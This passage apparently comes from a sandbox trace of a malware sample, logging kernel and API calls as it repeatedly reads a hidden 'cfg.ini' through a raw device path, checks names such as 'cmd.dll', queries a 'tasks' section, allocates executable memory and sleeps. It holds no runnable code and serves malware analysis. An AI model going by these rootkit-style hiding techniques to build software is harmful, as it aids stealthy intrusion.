SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.708] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.708] IdePortDispatch () returned 0x103 [0121.708] KeWaitForMutexObject () returned 0x0 [0121.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6d20 [0121.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.708] KeLeaveCriticalRegion () [0121.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.708] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.708] KeEnterCriticalRegion () [0121.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.708] KeLeaveCriticalRegion () [0121.708] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.708] KeEnterCriticalRegion () [0121.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.708] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.708] IdePortDispatch () returned 0x103 [0121.708] KeWaitForMutexObject () returned 0x0 [0121.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.709] KeLeaveCriticalRegion () [0121.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.709] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.709] KeEnterCriticalRegion () [0121.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7b000 [0121.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.709] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.709] IdePortDispatch () returned 0x103 [0121.709] KeWaitForMutexObject () returned 0x0 [0121.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.709] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.709] IdePortDispatch () returned 0x103 [0121.709] KeWaitForMutexObject () returned 0x0 [0121.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.709] KeLeaveCriticalRegion () [0121.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.710] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.710] KeEnterCriticalRegion () [0121.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] KeLeaveCriticalRegion () [0121.710] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.710] KeEnterCriticalRegion () [0121.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6de0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] KeLeaveCriticalRegion () [0121.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.710] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.710] KeEnterCriticalRegion () [0121.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] ExFreePoolWithTag (P=0xfffffa8003bc6d20, Tag=0x0) [0121.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.710] KeLeaveCriticalRegion () [0121.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.710] ReleaseMutex (hMutex=0xf0) returned 1 [0121.710] Sleep (dwMilliseconds=0x927c0) [0121.722] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.727] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.727] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.727] KeEnterCriticalRegion () [0121.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.727] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.727] IdePortDispatch () returned 0x103 [0121.727] KeWaitForMutexObject () returned 0x0 [0121.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.727] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.727] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.727] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.727] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.727] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd64b0 [0121.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] KeLeaveCriticalRegion () [0121.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.727] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.727] KeEnterCriticalRegion () [0121.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] KeLeaveCriticalRegion () [0121.727] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.728] KeEnterCriticalRegion () [0121.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.728] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.728] IdePortDispatch () returned 0x103 [0121.728] KeWaitForMutexObject () returned 0x0 [0121.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.728] KeLeaveCriticalRegion () [0121.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.728] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.728] KeEnterCriticalRegion () [0121.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc0000 [0121.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.728] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.728] IdePortDispatch () returned 0x103 [0121.728] KeWaitForMutexObject () returned 0x0 [0121.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.728] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.728] IdePortDispatch () returned 0x103 [0121.728] KeWaitForMutexObject () returned 0x0 [0121.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] KeLeaveCriticalRegion () [0121.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.729] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.729] KeEnterCriticalRegion () [0121.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] KeLeaveCriticalRegion () [0121.729] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.729] KeEnterCriticalRegion () [0121.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.729] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] KeLeaveCriticalRegion () [0121.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.729] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.729] KeEnterCriticalRegion () [0121.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] ExFreePoolWithTag (P=0xfffffa8003bd64b0, Tag=0x0) [0121.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.729] KeLeaveCriticalRegion () [0121.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.730] ReleaseMutex (hMutex=0xf0) returned 1 [0121.730] Sleep (dwMilliseconds=0x927c0) [0121.743] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.743] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.743] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.743] KeEnterCriticalRegion () [0121.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.743] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.743] IdePortDispatch () returned 0x103 [0121.743] KeWaitForMutexObject () returned 0x0 [0121.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.744] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.744] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6d70 [0121.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] KeLeaveCriticalRegion () [0121.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.744] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.744] KeEnterCriticalRegion () [0121.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] KeLeaveCriticalRegion () [0121.744] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.744] KeEnterCriticalRegion () [0121.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.744] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.744] IdePortDispatch () returned 0x103 [0121.744] KeWaitForMutexObject () returned 0x0 [0121.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] KeLeaveCriticalRegion () [0121.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.744] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.744] KeEnterCriticalRegion () [0121.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc5000 [0121.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.744] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.744] IdePortDispatch () returned 0x103 [0121.744] KeWaitForMutexObject () returned 0x0 [0121.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.745] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.745] IdePortDispatch () returned 0x103 [0121.745] KeWaitForMutexObject () returned 0x0 [0121.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.745] KeLeaveCriticalRegion () [0121.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.745] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.745] KeEnterCriticalRegion () [0121.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.745] KeLeaveCriticalRegion () [0121.746] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.746] KeEnterCriticalRegion () [0121.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.746] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.746] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.746] KeLeaveCriticalRegion () [0121.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.746] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.746] KeEnterCriticalRegion () [0121.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.746] ExFreePoolWithTag (P=0xfffffa8003bc6d70, Tag=0x0) [0121.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.746] KeLeaveCriticalRegion () [0121.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.746] ReleaseMutex (hMutex=0xf0) returned 1 [0121.746] Sleep (dwMilliseconds=0x927c0) [0121.761] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.761] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.761] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.761] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.761] KeEnterCriticalRegion () [0121.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.761] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.761] IdePortDispatch () returned 0x103 [0121.761] KeWaitForMutexObject () returned 0x0 [0121.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.761] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.761] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.761] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.761] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.761] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc66c0 [0121.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.761] KeLeaveCriticalRegion () [0121.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.761] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.762] KeEnterCriticalRegion () [0121.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.762] KeLeaveCriticalRegion () [0121.762] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.762] KeEnterCriticalRegion () [0121.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.762] IoAllocateIrp 